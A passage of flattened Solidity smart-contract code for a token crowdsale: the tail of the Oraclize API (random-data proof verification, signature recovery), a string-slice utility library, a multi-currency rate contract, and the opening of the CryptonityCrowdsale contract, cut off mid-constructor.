(byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> // File: contracts/crowdsale/FiatContractInterface.sol /** * @title FiatContractInterface, defining one single function to get 0,01 $ price. * @dev FiatContractInterface **/ contract FiatContractInterface { function USD(uint _id) view public returns (uint256); } // File: contracts/utils/strings.sol /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ pragma solidity ^0.4.14; library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string memory self) internal pure returns (slice memory) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-terminated utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal pure returns (slice memory ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice memory self) internal pure returns (slice memory) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice memory self) internal pure returns (string memory) { string memory ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice memory self) internal pure returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice memory self) internal pure returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = uint256(-1); // 0xffff... if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice memory self, slice memory other) internal pure returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice memory self) internal pure returns (slice memory ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice memory self, slice memory needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice memory self, slice memory needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly { ptrdata := and(mload(ptr), mask) } } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice memory self, slice memory needle) internal pure returns (slice memory) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice memory self, slice memory needle) internal pure returns (slice memory token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice memory self, slice memory needle) internal pure returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice memory self, slice memory needle) internal pure returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice memory self, slice memory other) internal pure returns (string memory) { string memory ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice memory self, slice[] memory parts) internal pure returns (string memory) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } // File: contracts/crowdsale/MultiCurrencyRates.sol /** * @title MultiCurrencyRates * @dev MultiCurrencyRates */ // solium-disable-next-line max-len contract MultiCurrencyRates is usingOraclize, Ownable { using SafeMath for uint256; using strings for *; FiatContractInterface public fiatContract; /** * @param _fiatContract Address of fiatContract */ constructor(address _fiatContract) public { require(_fiatContract != address(0)); fiatContract = FiatContractInterface(_fiatContract); } /** * @dev Set fiat contract * @param _fiatContract Address of new fiatContract */ function setFiatContract(address _fiatContract) public onlyOwner { fiatContract = FiatContractInterface(_fiatContract); } /** * @dev Returns the current 0.01$ => ETH wei rate */ function getUSDCentToWeiRate() internal view returns (uint256) { return fiatContract.USD(0); } /** * @dev Returns the current 0.01$ => BTC satoshi rate */ function getUSDCentToBTCSatoshiRate() internal view returns (uint256) { return fiatContract.USD(1); } /** * @dev Returns the current 0.01$ => LTC satoshi rate */ function getUSDCentToLTCSatoshiRate() internal view returns (uint256) { return fiatContract.USD(2); } /** * @dev Returns the current BNB => 0.01$ rate */ function getBNBToUSDCentRate(string oraclizeResult) internal pure returns (uint256) { return parseInt(parseCurrencyRate(oraclizeResult, "BNB"), 2); } /** * @dev Returns the current BCH => 0.01$ rate */ function getBCHToUSDCentRate(string oraclizeResult) internal pure returns (uint256) { return parseInt(parseCurrencyRate(oraclizeResult, "BCH"), 2); } /** * @dev Parse currency rate from oraclize response * @param oraclizeResult Result from Oraclize with currencies prices * @param _currencyTicker Currency tiker * @return Currency price string in USD */ function parseCurrencyRate(string oraclizeResult, string _currencyTicker) internal pure returns(string) { strings.slice memory response = oraclizeResult.toSlice(); strings.slice memory needle = _currencyTicker.toSlice(); strings.slice memory tickerPrice = response.find(needle).split("}".toSlice()).find(" ".toSlice()).rsplit(" ".toSlice()); return tickerPrice.toString(); } } // File: contracts/crowdsale/PhaseCrowdsaleInterface.sol /** * @title PhaseCrowdsaleInterface * @dev PhaseCrowdsaleInterface */ contract PhaseCrowdsaleInterface { /** * @dev Get phase number depending on the current time */ function getPhaseNumber() public view returns (uint256); /** * @dev Returns the current token price in $ cents depending on the current time */ function getCurrentTokenPriceInCents() public view returns (uint256); /** * @dev Returns the token sale bonus percentage depending on the current time */ function getCurrentBonusPercentage() public view returns (uint256); } // File: contracts/crowdsale/CryptonityCrowdsale.sol /** * @title CryptonityCrowdsale * @dev CryptonityCrowdsale */ // solium-disable-next-line max-len contract CryptonityCrowdsale is TimedCrowdsale, WhitelistedCrowdsale, RefundableCrowdsale, PostDeliveryCrowdsale, MultiCurrencyRates, Pausable { using SafeMath for uint256; OraclizeContractInterface public oraclizeContract; PhaseCrowdsaleInterface public phaseCrowdsale; // Public supply of token uint256 public publicSupply = 60000000 * 1 ether; // Remaining public supply of token for each phase uint256[3] public remainingPublicSupplyPerPhase = [15000000 * 1 ether, 26000000 * 1 ether, 19000000 * 1 ether]; // When tokens will be available for withdraw uint256 public deliveryTime; // A limit for total contributions in USD cents uint256 public cap; // Is goal reached bool public isGoalReached = false; event LogInfo(string description); /** * @param _phasesTime Crowdsale phases time [openingTime, closingTime, secondPhaseStartTime, thirdPhaseStartTime] * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold * @param _softCapUSDInCents Funding goal in USD cents * @param _hardCapUSDInCents Max amount of USD cents to be contributed * @param _fiatContract FiatContract * @param _phaseCrowdsale info about current phase * @param _oraclizeContract oraclize contract */ constructor( uint256[4] _phasesTime, uint256 _rate, address _wallet, ERC20 _token, uint256 _softCapUSDInCents, uint256 _hardCapUSDInCents, address _fiatContract, address 